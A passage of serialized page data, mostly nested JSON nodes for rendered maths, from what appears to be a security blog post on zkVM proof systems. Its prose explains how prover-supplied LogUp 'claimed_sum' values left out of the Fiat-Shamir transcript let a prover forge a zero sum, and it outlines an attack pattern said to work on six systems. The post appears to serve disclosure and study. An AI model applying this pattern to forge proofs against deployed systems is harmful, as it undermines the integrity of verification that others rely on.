",{"type":23,"tag":38,"props":112440,"children":112442},{"className":112441},[2658,2659],[112443],{"type":23,"tag":141,"props":112444,"children":112446},{"className":112445},[2664],[112447],{"type":23,"tag":141,"props":112448,"children":112450},{"className":112449,"ariaHidden":2670},[2669],[112451],{"type":23,"tag":141,"props":112452,"children":112454},{"className":112453},[2675],[112455,112459],{"type":23,"tag":141,"props":112456,"children":112458},{"className":112457,"style":109373},[2680],[],{"type":23,"tag":141,"props":112460,"children":112462},{"className":112461},[2686,20260],[112463],{"type":29,"value":55},{"type":29,"value":112465}," at time ",{"type":23,"tag":38,"props":112467,"children":112469},{"className":112468},[2658,2659],[112470],{"type":23,"tag":141,"props":112471,"children":112473},{"className":112472},[2664],[112474],{"type":23,"tag":141,"props":112475,"children":112477},{"className":112476,"ariaHidden":2670},[2669],[112478],{"type":23,"tag":141,"props":112479,"children":112481},{"className":112480},[2675],[112482,112487],{"type":23,"tag":141,"props":112483,"children":112486},{"className":112484,"style":112485},[2680],"height:0.6151em;",[],{"type":23,"tag":141,"props":112488,"children":112490},{"className":112489},[2686,20260],[112491],{"type":29,"value":20402},{"type":29,"value":18731},{"type":23,"tag":120,"props":112494,"children":112495},{},[112496,112498,112523,112525,112550,112552,112577],{"type":29,"value":112497},"Memory table consumes: \"At time ",{"type":23,"tag":38,"props":112499,"children":112501},{"className":112500},[2658,2659],[112502],{"type":23,"tag":141,"props":112503,"children":112505},{"className":112504},[2664],[112506],{"type":23,"tag":141,"props":112507,"children":112509},{"className":112508,"ariaHidden":2670},[2669],[112510],{"type":23,"tag":141,"props":112511,"children":112513},{"className":112512},[2675],[112514,112518],{"type":23,"tag":141,"props":112515,"children":112517},{"className":112516,"style":112485},[2680],[],{"type":23,"tag":141,"props":112519,"children":112521},{"className":112520},[2686,20260],[112522],{"type":29,"value":20402},{"type":29,"value":112524},", address ",{"type":23,"tag":38,"props":112526,"children":112528},{"className":112527},[2658,2659],[112529],{"type":23,"tag":141,"props":112530,"children":112532},{"className":112531},[2664],[112533],{"type":23,"tag":141,"props":112534,"children":112536},{"className":112535,"ariaHidden":2670},[2669],[112537],{"type":23,"tag":141,"props":112538,"children":112540},{"className":112539},[2675],[112541,112545],{"type":23,"tag":141,"props":112542,"children":112544},{"className":112543,"style":109373},[2680],[],{"type":23,"tag":141,"props":112546,"children":112548},{"className":112547},[2686,20260],[112549],{"type":29,"value":55},{"type":29,"value":112551}," contained ",{"type":23,"tag":38,"props":112553,"children":112555},{"className":112554},[2658,2659],[112556],{"type":23,"tag":141,"props":112557,"children":112559},{"className":112558},[2664],[112560],{"type":23,"tag":141,"props":112561,"children":112563},{"className":112562,"ariaHidden":2670},[2669],[112564],{"type":23,"tag":141,"props":112565,"children":112567},{"className":112566},[2675],[112568,112572],{"type":23,"tag":141,"props":112569,"children":112571},{"className":112570,"style":109373},[2680],[],{"type":23,"tag":141,"props":112573,"children":112575},{"className":112574,"style":92018},[2686,20260],[112576],{"type":29,"value":112436},{"type":29,"value":18731},{"type":23,"tag":32,"props":112579,"children":112580},{},[112581],{"type":29,"value":112582},"If everything balances, the execution is consistent.",{"type":23,"tag":32,"props":112584,"children":112585},{},[112586,112591],{"type":23,"tag":3998,"props":112587,"children":112588},{},[112589],{"type":29,"value":112590},"The claimed_sum:",{"type":29,"value":112592}," Each component computes its contribution to the LogUp sum:",{"type":23,"tag":32,"props":112594,"children":112595},{},[112596],{"type":23,"tag":38,"props":112597,"children":112599},{"className":112598},[2658,2659],[112600],{"type":23,"tag":141,"props":112601,"children":112603},{"className":112602},[2664],[112604],{"type":23,"tag":141,"props":112605,"children":112607},{"className":112606,"ariaHidden":2670},[2669],[112608,112706,112957],{"type":23,"tag":141,"props":112609,"children":112611},{"className":112610},[2675],[112612,112616,112626,112631,112693,112697,112702],{"type":23,"tag":141,"props":112613,"children":112615},{"className":112614,"style":92945},[2680],[],{"type":23,"tag":141,"props":112617,"children":112619},{"className":112618},[2686,29],[112620],{"type":23,"tag":141,"props":112621,"children":112623},{"className":112622},[2686],[112624],{"type":29,"value":112625},"claimed",{"type":23,"tag":141,"props":112627,"children":112629},{"className":112628,"style":91532},[2686],[112630],{"type":29,"value":1743},{"type":23,"tag":141,"props":112632,"children":112634},{"className":112633},[2686],[112635,112644],{"type":23,"tag":141,"props":112636,"children":112638},{"className":112637},[2686,29],[112639],{"type":23,"tag":141,"props":112640,"children":112642},{"className":112641},[2686],[112643],{"type":29,"value":75117},{"type":23,"tag":141,"props":112645,"children":112647},{"className":112646},[2702],[112648],{"type":23,"tag":141,"props":112649,"children":112651},{"className":112650},[2707,20314],[112652,112682],{"type":23,"tag":141,"props":112653,"children":112655},{"className":112654},[2712],[112656,112677],{"type":23,"tag":141,"props":112657,"children":112659},{"className":112658,"style":92061},[2717],[112660],{"type":23,"tag":141,"props":112661,"children":112663},{"style":112662},"top:-2.55em;margin-right:0.05em;",[112664,112668],{"type":23,"tag":141,"props":112665,"children":112667},{"className":112666,"style":2727},[2726],[],{"type":23,"tag":141,"props":112669,"children":112671},{"className":112670},[2732,2733,2734,2735],[112672],{"type":23,"tag":141,"props":112673,"children":112675},{"className":112674},[2686,20260,2735],[112676],{"type":29,"value":2404},{"type":23,"tag":141,"props":112678,"children":112680},{"className":112679},[20417],[112681],{"type":29,"value":20420},{"type":23,"tag":141,"props":112683,"children":112685},{"className":112684},[2712],[112686],{"type":23,"tag":141,"props":112687,"children":112689},{"className":112688,"style":91615},[2717],[112690],{"type":23,"tag":141,"props":112691,"children":112692},{},[],{"type":23,"tag":141,"props":112694,"children":112696},{"className":112695,"style":2863},[2766],[],{"type":23,"tag":141,"props":112698,"children":112700},{"className":112699},[2868],[112701],{"type":29,"value":1377},{"type":23,"tag":141,"props":112703,"children":112705},{"className":112704,"style":2863},[2766],[],{"type":23,"tag":141,"props":112707,"children":112709},{"className":112708},[2675],[112710,112715,112775,112779,112944,112948,112953],{"type":23,"tag":141,"props":112711,"children":112714},{"className":112712,"style":112713},[2680],"height:1.3874em;vertical-align:-0.5423em;",[],{"type":23,"tag":141,"props":112716,"children":112718},{"className":112717},[20296],[112719,112724],{"type":23,"tag":141,"props":112720,"children":112722},{"className":112721,"style":20303},[20296,20301,20302],[112723],{"type":29,"value":107327},{"type":23,"tag":141,"props":112725,"children":112727},{"className":112726},[2702],[112728],{"type":23,"tag":141,"props":112729,"children":112731},{"className":112730},[2707,20314],[112732,112763],{"type":23,"tag":141,"props":112733,"children":112735},{"className":112734},[2712],[112736,112758],{"type":23,"tag":141,"props":112737,"children":112740},{"className":112738,"style":112739},[2717],"height:0.162em;",[112741],{"type":23,"tag":141,"props":112742,"children":112743},{"style":20327},[112744,112748],{"type":23,"tag":141,"props":112745,"children":112747},{"className":112746,"style":2727},[2726],[],{"type":23,"tag":141,"props":112749,"children":112751},{"className":112750},[2732,2733,2734,2735],[112752],{"type":23,"tag":141,"props":112753,"children":112756},{"className":112754,"style":112755},[2686,20260,2735],"margin-right:0.05724em;",[112757],{"type":29,"value":7332},{"type":23,"tag":141,"props":112759,"children":112761},{"className":112760},[20417],[112762],{"type":29,"value":20420},{"type":23,"tag":141,"props":112764,"children":112766},{"className":112765},[2712],[112767],{"type":23,"tag":141,"props":112768,"children":112771},{"className":112769,"style":112770},[2717],"height:0.4358em;",[112772],{"type":23,"tag":141,"props":112773,"children":112774},{},[],{"type":23,"tag":141,"props":112776,"children":112778},{"className":112777,"style":2804},[2766],[],{"type":23,"tag":141,"props":112780,"children":112782},{"className":112781},[2686],[112783,112787,112940],{"type":23,"tag":141,"props":112784,"children":112786},{"className":112785},[20389,112050],[],{"type":23,"tag":141,"props":112788,"children":112790},{"className":112789},[112055],[112791],{"type":23,"tag":141,"props":112792,"children":112794},{"className":112793},[2707,20314],[112795,112928],{"type":23,"tag":141,"props":112796,"children":112798},{"className":112797},[2712],[112799,112923],{"type":23,"tag":141,"props":112800,"children":112802},{"className":112801,"style":112068},[2717],[112803,112892,112903],{"type":23,"tag":141,"props":112804,"children":112805},{"style":112072},[112806,112810],{"type":23,"tag":141,"props":112807,"children":112809},{"className":112808,"style":110703},[2726],[],{"type":23,"tag":141,"props":112811,"children":112813},{"className":112812},[2732,2733,2734,2735],[112814],{"type":23,"tag":141,"props":112815,"children":112817},{"className":112816},[2686,2735],[112818,112823,112828],{"type":23,"tag":141,"props":112819,"children":112821},{"className":112820,"style":112089},[2686,20260,2735],[112822],{"type":29,"value":112092},{"type":23,"tag":141,"props":112824,"children":112826},{"className":112825},[2772,2735],[112827],{"type":29,"value":2746},{"type":23,"tag":141,"props":112829,"children":112831},{"className":112830},[2686,2735],[112832,112841],{"type":23,"tag":141,"props":112833,"children":112835},{"className":112834},[2686,29,2735],[112836],{"type":23,"tag":141,"props":112837,"children":112839},{"className":112838},[2686,2735],[112840],{"type":29,"value":60489},{"type":23,"tag":141,"props":112842,"children":112844},{"className":112843},[2702],[112845],{"type":23,"tag":141,"props":112846,"children":112848},{"className":112847},[2707,20314],[112849,112880],{"type":23,"tag":141,"props":112850,"children":112852},{"className":112851},[2712],[112853,112875],{"type":23,"tag":141,"props":112854,"children":112857},{"className":112855,"style":112856},[2717],"height:0.3281em;",[112858],{"type":23,"tag":141,"props":112859,"children":112861},{"style":112860},"top:-2.357em;margin-right:0.0714em;",[112862,112866],{"type":23,"tag":141,"props":112863,"children":112865},{"className":112864,"style":107392},[2726],[],{"type":23,"tag":141,"props":112867,"children":112869},{"className":112868},[2732,107397,107398,2735],[112870],{"type":23,"tag":141,"props":112871,"children":112873},{"className":112872,"style":112755},[2686,20260,2735],[112874],{"type":29,"value":7332},{"type":23,"tag":141,"props":112876,"children":112878},{"className":112877},[20417],[112879],{"type":29,"value":20420},{"type":23,"tag":141,"props":112881,"children":112883},{"className":112882},[2712],[112884],{"type":23,"tag":141,"props":112885,"children":112888},{"className":112886,"style":112887},[2717],"height:0.2819em;",[112889],{"type":23,"tag":141,"props":112890,"children":112891},{},[],{"type":23,"tag":141,"props":112893,"children":112894},{"style":112105},[112895,112899],{"type":23,"tag":141,"props":112896,"children":112898},{"className":112897,"style":110703},[2726],[],{"type":23,"tag":141,"props":112900,"children":112902},{"className":112901,"style":112115},[112114],[],{"type":23,"tag":141,"props":112904,"children":112905},{"style":112119},[112906,112910],{"type":23,"tag":141,"props":112907,"children":112909},{"className":112908,"style":110703},[2726],[],{"type":23,"tag":141,"props":112911,"children":112913},{"className":112912},[2732,2733,2734,2735],[112914],{"type":23,"tag":141,"props":112915,"children":112917},{"className":112916},[2686,2735],[112918],{"type":23,"tag":141,"props":112919,"children":112921},{"className":112920},[2686,2735],[112922],{"type":29,"value":687},{"type":23,"tag":141,"props":112924,"children":112926},{"className":112925},[20417],[112927],{"type":29,"value":20420},{"type":23,"tag":141,"props":112929,"children":112931},{"className":112930},[2712],[112932],{"type":23,"tag":141,"props":112933,"children":112936},{"className":112934,"style":112935},[2717],"height:0.5423em;",[112937],{"type":23,"tag":141,"props":112938,"children":112939},{},[],{"type":23,"tag":141,"props":112941,"children":112943},{"className":112942},[20411,112050],[],{"type":23,"tag":141,"props":112945,"children":112947},{"className":112946,"style":2767},[2766],[],{"type":23,"tag":141,"props":112949,"children":112951},{"className":112950},[2772],[112952],{"type":29,"value":2746},{"type":23,"tag":141,"props":112954,"children":112956},{"className":112955,"style":2767},[2766],[],{"type":23,"tag":141,"props":112958,"children":112960},{"className":112959},[2675],[112961,112966,113024,113028],{"type":23,"tag":141,"props":112962,"children":112965},{"className":112963,"style":112964},[2680],"height:1.296em;vertical-align:-0.4509em;",[],{"type":23,"tag":141,"props":112967,"children":112969},{"className":112968},[20296],[112970,112975],{"type":23,"tag":141,"props":112971,"children":112973},{"className":112972,"style":20303},[20296,20301,20302],[112974],{"type":29,"value":107327},{"type":23,"tag":141,"props":112976,"children":112978},{"className":112977},[2702],[112979],{"type":23,"tag":141,"props":112980,"children":112982},{"className":112981},[2707,20314],[112983,113012],{"type":23,"tag":141,"props":112984,"children":112986},{"className":112985},[2712],[112987,113007],{"type":23,"tag":141,"props":112988,"children":112990},{"className":112989,"style":112204},[2717],[112991],{"type":23,"tag":141,"props":112992,"children":112993},{"style":20327},[112994,112998],{"type":23,"tag":141,"props":112995,"children":112997},{"className":112996,"style":2727},[2726],[],{"type":23,"tag":141,"props":112999,"children":113001},{"className":113000},[2732,2733,2734,2735],[113002],{"type":23,"tag":141,"props":113003,"children":113005},{"className":113004,"style":92961},[2686,20260,2735],[113006],{"type":29,"value":87169},{"type":23,"tag":141,"props":113008,"children":113010},{"className":113009},[20417],[113011],{"type":29,"value":20420},{"type":23,"tag":141,"props":113013,"children":113015},{"className":113014},[2712],[113016],{"type":23,"tag":141,"props":113017,"children":113020},{"className":113018,"style":113019},[2717],"height:0.2997em;",[113021],{"type":23,"tag":141,"props":113022,"children":113023},{},[],{"type":23,"tag":141,"props":113025,"children":113027},{"className":113026,"style":2804},[2766],[],{"type":23,"tag":141,"props":113029,"children":113031},{"className":113030},[2686],[113032,113036,113189],{"type":23,"tag":141,"props":113033,"children":113035},{"className":113034},[20389,112050],[],{"type":23,"tag":141,"props":113037,"children":113039},{"className":113038},[112055],[113040],{"type":23,"tag":141,"props":113041,"children":113043},{"className":113042},[2707,20314],[113044,113177],{"type":23,"tag":141,"props":113045,"children":113047},{"className":113046},[2712],[113048,113172],{"type":23,"tag":141,"props":113049,"children":113051},{"className":113050,"style":112068},[2717],[113052,113141,113152],{"type":23,"tag":141,"props":113053,"children":113054},{"style":112072},[113055,113059],{"type":23,"tag":141,"props":113056,"children":113058},{"className":113057,"style":110703},[2726],[],{"type":23,"tag":141,"props":113060,"children":113062},{"className":113061},[2732,2733,2734,2735],[113063],{"type":23,"tag":141,"props":113064,"children":113066},{"className":113065},[2686,2735],[113067,113072,113077],{"type":23,"tag":141,"props":113068,"children":113070},{"className":113069,"style":112089},[2686,20260,2735],[113071],{"type":29,"value":112092},{"type":23,"tag":141,"props":113073,"children":113075},{"className":113074},[2772,2735],[113076],{"type":29,"value":2746},{"type":23,"tag":141,"props":113078,"children":113080},{"className":113079},[2686,2735],[113081,113091],{"type":23,"tag":141,"props":113082,"children":113084},{"className":113083},[2686,29,2735],[113085],{"type":23,"tag":141,"props":113086,"children":113088},{"className":113087},[2686,2735],[113089],{"type":29,"value":113090},"consume",{"type":23,"tag":141,"props":113092,"children":113094},{"className":113093},[2702],[113095],{"type":23,"tag":141,"props":113096,"children":113098},{"className":113097},[2707,20314],[113099,113129],{"type":23,"tag":141,"props":113100,"children":113102},{"className":113101},[2712],[113103,113124],{"type":23,"tag":141,"props":113104,"children":113106},{"className":113105,"style":110864},[2717],[113107],{"type":23,"tag":141,"props":113108,"children":113110},{"style":113109},"top:-2.3488em;margin-right:0.0714em;",[113111,113115],{"type":23,"tag":141,"props":113112,"children":113114},{"className":113113,"style":107392},[2726],[],{"type":23,"tag":141,"props":113116,"children":113118},{"className":113117},[2732,107397,107398,2735],[113119],{"type":23,"tag":141,"props":113120,"children":113122},{"className":113121,"style":92961},[2686,20260,2735],[113123],{"type":29,"value":87169},{"type":23,"tag":141,"props":113125,"children":113127},{"className":113126},[20417],[113128],{"type":29,"value":20420},{"type":23,"tag":141,"props":113130,"children":113132},{"className":113131},[2712],[113133],{"type":23,"tag":141,"props":113134,"children":113137},{"className":113135,"style":113136},[2717],"height:0.1512em;",[113138],{"type":23,"tag":141,"props":113139,"children":113140},{},[],{"type":23,"tag":141,"props":113142,"children":113143},{"style":112105},[113144,113148],{"type":23,"tag":141,"props":113145,"children":113147},{"className":113146,"style":110703},[2726],[],{"type":23,"tag":141,"props":113149,"children":113151},{"className":113150,"style":112115},[112114],[],{"type":23,"tag":141,"props":113153,"children":113154},{"style":112119},[113155,113159],{"type":23,"tag":141,"props":113156,"children":113158},{"className":113157,"style":110703},[2726],[],{"type":23,"tag":141,"props":113160,"children":113162},{"className":113161},[2732,2733,2734,2735],[113163],{"type":23,"tag":141,"props":113164,"children":113166},{"className":113165},[2686,2735],[113167],{"type":23,"tag":141,"props":113168,"children":113170},{"className":113169},[2686,2735],[113171],{"type":29,"value":687},{"type":23,"tag":141,"props":113173,"children":113175},{"className":113174},[20417],[113176],{"type":29,"value":20420},{"type":23,"tag":141,"props":113178,"children":113180},{"className":113179},[2712],[113181],{"type":23,"tag":141,"props":113182,"children":113185},{"className":113183,"style":113184},[2717],"height:0.4509em;",[113186],{"type":23,"tag":141,"props":113187,"children":113188},{},[],{"type":23,"tag":141,"props":113190,"children":113192},{"className":113191},[20411,112050],[],{"type":23,"tag":32,"props":113194,"children":113195},{},[113196,113198,113380],{"type":29,"value":113197},"The global check: ",{"type":23,"tag":38,"props":113199,"children":113201},{"className":113200},[2658,2659],[113202],{"type":23,"tag":141,"props":113203,"children":113205},{"className":113204},[2664],[113206],{"type":23,"tag":141,"props":113207,"children":113209},{"className":113208,"ariaHidden":2670},[2669],[113210,113367],{"type":23,"tag":141,"props":113211,"children":113213},{"className":113212},[2675],[113214,113218,113275,113279,113288,113293,113354,113358,113363],{"type":23,"tag":141,"props":113215,"children":113217},{"className":113216,"style":91474},[2680],[],{"type":23,"tag":141,"props":113219,"children":113221},{"className":113220},[20296],[113222,113227],{"type":23,"tag":141,"props":113223,"children":113225},{"className":113224,"style":20303},[20296,20301,20302],[113226],{"type":29,"value":107327},{"type":23,"tag":141,"props":113228,"children":113230},{"className":113229},[2702],[113231],{"type":23,"tag":141,"props":113232,"children":113234},{"className":113233},[2707,20314],[113235,113264],{"type":23,"tag":141,"props":113236,"children":113238},{"className":113237},[2712],[113239,113259],{"type":23,"tag":141,"props":113240,"children":113242},{"className":113241,"style":112739},[2717],[113243],{"type":23,"tag":141,"props":113244,"children":113245},{"style":20327},[113246,113250],{"type":23,"tag":141,"props":113247,"children":113249},{"className":113248,"style":2727},[2726],[],{"type":23,"tag":141,"props":113251,"children":113253},{"className":113252},[2732,2733,2734,2735],[113254],{"type":23,"tag":141,"props":113255,"children":113257},{"className":113256},[2686,20260,2735],[113258],{"type":29,"value":2404},{"type":23,"tag":141,"props":113260,"children":113262},{"className":113261},[20417],[113263],{"type":29,"value":20420},{"type":23,"tag":141,"props":113265,"children":113267},{"className":113266},[2712],[113268],{"type":23,"tag":141,"props":113269,"children":113271},{"className":113270,"style":113019},[2717],[113272],{"type":23,"tag":141,"props":113273,"children":113274},{},[],{"type":23,"tag":141,"props":113276,"children":113278},{"className":113277,"style":2804},[2766],[],{"type":23,"tag":141,"props":113280,"children":113282},{"className":113281},[2686,29],[113283],{"type":23,"tag":141,"props":113284,"children":113286},{"className":113285},[2686],[113287],{"type":29,"value":112625},{"type":23,"tag":141,"props":113289,"children":113291},{"className":113290,"style":91532},[2686],[113292],{"type":29,"value":1743},{"type":23,"tag":141,"props":113294,"children":113296},{"className":113295},[2686],[113297,113306],{"type":23,"tag":141,"props":113298,"children":113300},{"className":113299},[2686,29],[113301],{"type":23,"tag":141,"props":113302,"children":113304},{"className":113303},[2686],[113305],{"type":29,"value":75117},{"type":23,"tag":141,"props":113307,"children":113309},{"className":113308},[2702],[113310],{"type":23,"tag":141,"props":113311,"children":113313},{"className":113312},[2707,20314],[113314,113343],{"type":23,"tag":141,"props":113315,"children":113317},{"className":113316},[2712],[113318,113338],{"type":23,"tag":141,"props":113319,"children":113321},{"className":113320,"style":92061},[2717],[113322],{"type":23,"tag":141,"props":113323,"children":113324},{"style":112662},[113325,113329],{"type":23,"tag":141,"props":113326,"children":113328},{"className":113327,"style":2727},[2726],[],{"type":23,"tag":141,"props":113330,"children":113332},{"className":113331},[2732,2733,2734,2735],[113333],{"type":23,"tag":141,"props":113334,"children":113336},{"className":113335},[2686,20260,2735],[113337],{"type":29,"value":2404},{"type":23,"tag":141,"props":113339,"children":113341},{"className":113340},[20417],[113342],{"type":29,"value":20420},{"type":23,"tag":141,"props":113344,"children":113346},{"className":113345},[2712],[113347],{"type":23,"tag":141,"props":113348,"children":113350},{"className":113349,"style":91615},[2717],[113351],{"type":23,"tag":141,"props":113352,"children":113353},{},[],{"type":23,"tag":141,"props":113355,"children":113357},{"className":113356,"style":2863},[2766],[],{"type":23,"tag":141,"props":113359,"children":113361},{"className":113360},[2868],[113362],{"type":29,"value":1377},{"type":23,"tag":141,"props":113364,"children":113366},{"className":113365,"style":2863},[2766],[],{"type":23,"tag":141,"props":113368,"children":113370},{"className":113369},[2675],[113371,113375],{"type":23,"tag":141,"props":113372,"children":113374},{"className":113373,"style":92563},[2680],[],{"type":23,"tag":141,"props":113376,"children":113378},{"className":113377},[2686],[113379],{"type":29,"value":2698},{"type":29,"value":322},{"type":23,"tag":32,"props":113382,"children":113383},{},[113384,113389,113391,113397],{"type":23,"tag":3998,"props":113385,"children":113386},{},[113387],{"type":29,"value":113388},"Why this is vulnerable:",{"type":29,"value":113390}," The ",{"type":23,"tag":38,"props":113392,"children":113394},{"className":113393},[],[113395],{"type":29,"value":113396},"claimed_sum",{"type":29,"value":113398}," values are prover-supplied. If they're not in the transcript before challenges are derived, the prover can adjust them to make the sum zero for an invalid execution.",{"type":23,"tag":17463,"props":113400,"children":113401},{},[],{"type":23,"tag":24,"props":113403,"children":113405},{"id":113404},"the-universal-attack-pattern",[113406],{"type":29,"value":113407},"The Universal Attack Pattern",{"type":23,"tag":32,"props":113409,"children":113410},{},[113411],{"type":29,"value":113412},"Now we can describe the attack pattern that works on all six systems:",{"type":23,"tag":32,"props":113414,"children":113415},{},[113416],{"type":23,"tag":2591,"props":113417,"children":113420},{"alt":113418,"src":113419},"2_attack_pattern","/posts/zkvms-unfaithful-claims/2_attack_pattern.svg",[],{"type":23,"tag":32,"props":113422,"children":113423},{},[113424,113426,113451],{"type":29,"value":113425},"When a value ",{"type":23,"tag":38,"props":113427,"children":113429},{"className":113428},[2658,2659],[113430],{"type":23,"tag":141,"props":113431,"children":113433},{"className":113432},[2664],[113434],{"type":23,"tag":141,"props":113435,"children":113437},{"className":113436,"ariaHidden":2670},[2669],[113438],{"type":23,"tag":141,"props":113439,"children":113441},{"className":113440},[2675],[113442,113446],{"type":23,"tag":141,"props":113443,"children":113445},{"className":113444,"style":20255},[2680],[],{"type":23,"tag":141,"props":113447,"children":113449},{"className":113448,"style":106730},[2686,20260],[113450],{"type":29,"value":107054},{"type":29,"value":113452}," isn't transcript-bound:",{"type":23,"tag":116,"props":113454,"children":113455},{},[113456,113487,113564,113709],{"type":23,"tag":120,"props":113457,"children":113458},{},[113459,113461,113486],{"type":29,"value":113460},"Challenges are fixed (independent of ",{"type":23,"tag":38,"props":113462,"children":113464},{"className":113463},[2658,2659],[113465],{"type":23,"tag":141,"props":113466,"children":113468},{"className":113467},[2664],[113469],{"type":23,"tag":141,"props":113470,"children":113472},{"className":113471,"ariaHidden":2670},[2669],[113473],{"type":23,"tag":141,"props":113474,"children":113476},{"className":113475},[2675],[113477,113481],{"type":23,"tag":141,"props":113478,"children":113480},{"className":113479,"style":20255},[2680],[],{"type":23,"tag":141,"props":113482,"children":113484},{"className":113483,"style":106730},[2686,20260],[113485],{"type":29,"value":107054},{"type":29,"value":1788},{"type":23,"tag":120,"props":113488,"children":113489},{},[113490,113492],{"type":29,"value":113491},"The verification equation has form: ",{"type":23,"tag":38,"props":113493,"children":113495},{"className":113494},[2658,2659],[113496],{"type":23,"tag":141,"props":113497,"children":113499},{"className":113498},[2664],[113500],{"type":23,"tag":141,"props":113501,"children":113503},{"className":113502,"ariaHidden":2670},[2669],[113504,113545],{"type":23,"tag":141,"props":113505,"children":113507},{"className":113506},[2675],[113508,113512,113517,113522,113527,113532,113536,113541],{"type":23,"tag":141,"props":113509,"children":113511},{"className":113510,"style":2787},[2680],[],{"type":23,"tag":141,"props":113513,"children":113515},{"className":113514,"style":93886},[2686,20260],[113516],{"type":29,"value":31554},{"type":23,"tag":141,"props":113518,"children":113520},{"className":113519},[20389],[113521],{"type":29,"value":192},{"type":23,"tag":141,"props":113523,"children":113525},{"className":113524,"style":106730},[2686,20260],[113526],{"type":29,"value":107054},{"type":23,"tag":141,"props":113528,"children":113530},{"className":113529},[20411],[113531],{"type":29,"value":1788},{"type":23,"tag":141,"props":113533,"children":113535},{"className":113534,"style":2863},[2766],[],{"type":23,"tag":141,"props":113537,"children":113539},{"className":113538},[2868],[113540],{"type":29,"value":1377},{"type":23,"tag":141,"props":113542,"children":113544},{"className":113543,"style":2863},[2766],[],{"type":23,"tag":141,"props":113546,"children":113548},{"className":113547},[2675],[113549,113554],{"type":23,"tag":141,"props":113550,"children":113553},{"className":113551,"style":113552},[2680],"height:0.8095em;vertical-align:-0.1944em;",[],{"type":23,"tag":141,"props":113555,"children":113557},{"className":113556},[2686,29],[113558],{"type":23,"tag":141,"props":113559,"children":113561},{"className":113560},[2686],[113562],{"type":29,"value":113563},"target",{"type":23,"tag":120,"props":113565,"children":113566},{},[113567,113568,113594,113596],{"type":29,"value":6154},{"type":23,"tag":38,"props":113569,"children":113571},{"className":113570},[2658,2659],[113572],{"type":23,"tag":141,"props":113573,"children":113575},{"className":113574},[2664],[113576],{"type":23,"tag":141,"props":113577,"children":113579},{"className":113578,"ariaHidden":2670},[2669],[113580],{"type":23,"tag":141,"props":113581,"children":113583},{"className":113582},[2675],[113584,113589],{"type":23,"tag":141,"props":113585,"children":113588},{"className":113586,"style":113587},[2680],"height:0.8889em;vertical-align:-0.1944em;",[],{"type":23,"tag":141,"props":113590,"children":113592},{"className":113591,"style":93886},[2686,20260],[113593],{"type":29,"value":31554},{"type":29,"value":113595}," is linear: ",{"type":23,"tag":38,"props":113597,"children":113599},{"className":113598},[2658,2659],[113600],{"type":23,"tag":141,"props":113601,"children":113603},{"className":113602},[2664],[113604],{"type":23,"tag":141,"props":113605,"children":113607},{"className":113606,"ariaHidden":2670},[2669],[113608,113637,113664,113692],{"type":23,"tag":141,"props":113609,"children":113611},{"className":113610},[2675],[113612,113617,113624,113628,113633],{"type":23,"tag":141,"props":113613,"children":113616},{"className":113614,"style":113615},[2680],"height:0.4445em;",[],{"type":23,"tag":141,"props":113618,"children":113621},{"className":113619,"style":113620},[2686,20260],"margin-right:0.0037em;",[113622],{"type":29,"value":113623},"α",{"type":23,"tag":141,"props":113625,"children":113627},{"className":113626,"style":2767},[2766],[],{"type":23,"tag":141,"props":113629,"children":113631},{"className":113630},[2772],[113632],{"type":29,"value":109794},{"type":23,"tag":141,"props":113634,"children":113636},{"className":113635,"style":2767},[2766],[],{"type":23,"tag":141,"props":113638,"children":113640},{"className":113639},[2675],[113641,113646,113651,113655,113660],{"type":23,"tag":141,"props":113642,"children":113645},{"className":113643,"style":113644},[2680],"height:0.7667em;vertical-align:-0.0833em;",[],{"type":23,"tag":141,"props":113647,"children":113649},{"className":113648,"style":106730},[2686,20260],[113650],{"type":29,"value":107054},{"type":23,"tag":141,"props":113652,"children":113654},{"className":113653,"style":2767},[2766],[],{"type":23,"tag":141,"props":113656,"children":113658},{"className":113657},[2772],[113659],{"type":29,"value":3058},{"type":23,"tag":141,"props":113661,"children":113663},{"className":113662,"style":2767},[2766],[],{"type":23,"tag":141,"props":113665,"children":113667},{"className":113666},[2675],[113668,113672,113679,113683,113688],{"type":23,"tag":141,"props":113669,"children":113671},{"className":113670,"style":113587},[2680],[],{"type":23,"tag":141,"props":113673,"children":113676},{"className":113674,"style":113675},[2686,20260],"margin-right:0.05278em;",[113677],{"type":29,"value":113678},"β",{"type":23,"tag":141,"props":113680,"children":113682},{"className":113681,"style":2863},[2766],[],{"type":23,"tag":141,"props":113684,"children":113686},{"className":113685},[2868],[113687],{"type":29,"value":1377},{"type":23,"tag":141,"props":113689,"children":113691},{"className":113690,"style":2863},[2766],[],{"type":23,"tag":141,"props":113693,"children":113695},{"className":113694},[2675],[113696,113700],{"type":23,"tag":141,"props":113697,"children":113699},{"className":113698,"style":113552},[2680],[],{"type":23,"tag":141,"props":113701,"children":113703},{"className":113702},[2686,29],[113704],{"type":23,"tag":141,"props":113705,"children":113707},{"className":113706},[2686],[113708],{"type":29,"value":113563},{"type":23,"tag":120,"props":113710,"children":113711},{},[113712,113714],{"type":29,"value":113713},"Solve: ",{"type":23,"tag":38,"props":113715,"children":113717},{"className":113716},[2658,2659],[113718],{"type":23,"tag":141,"props":113719,"children":113721},{"className":113720},[2664],[113722],{"type":23,"tag":141,"props":113723,"children":113725},{"className":113724,"ariaHidden":2670},[2669],[113726,113752,113787],{"type":23,"tag":141,"props":113727,"children":113729},{"className":113728},[2675],[113730,113734,113739,113743,113748],{"type":23,"tag":141,"props":113731,"children":113733},{"className":113732,"style":20255},[2680],[],{"type":23,"tag":141,"props":113735,"children":113737},{"className":113736,"style":106730},[2686,20260],[113738],{"type":29,"value":107054},{"type":23,"tag":141,"props":113740,"children":113742},{"className":113741,"style":2863},[2766],[],{"type":23,"tag":141,"props":113744,"children":113746},{"className":113745},[2868],[113747],{"type":29,"value":1377},{"type":23,"tag":141,"props":113749,"children":113751},{"className":113750,"style":2863},[2766],[],{"type":23,"tag":141,"props":113753,"children":113755},{"className":113754},[2675],[113756,113760,113765,113774,113778,113783],{"type":23,"tag":141,"props":113757,"children":113759},{"className":113758,"style":2787},[2680],[],{"type":23,"tag":141,"props":113761,"children":113763},{"className":113762},[20389],[113764],{"type":29,"value":192},{"type":23,"tag":141,"props":113766,"children":113768},{"className":113767},[2686,29],[113769],{"type":23,"tag":141,"props":113770,"children":113772},{"className":113771},[2686],[113773],{"type":29,"value":113563},{"type":23,"tag":141,"props":113775,"children":113777},{"className":113776,"style":2767},[2766],[],{"type":23,"tag":141,"props":113779,"children":113781},{"className":113780},[2772],[113782],{"type":29,"value":2746},{"type":23,"tag":141,"props":113784,"children":113786},{"className":113785,"style":2767},[2766],[],{"type":23,"tag":141,"props":113788,"children":113790},{"className":113789},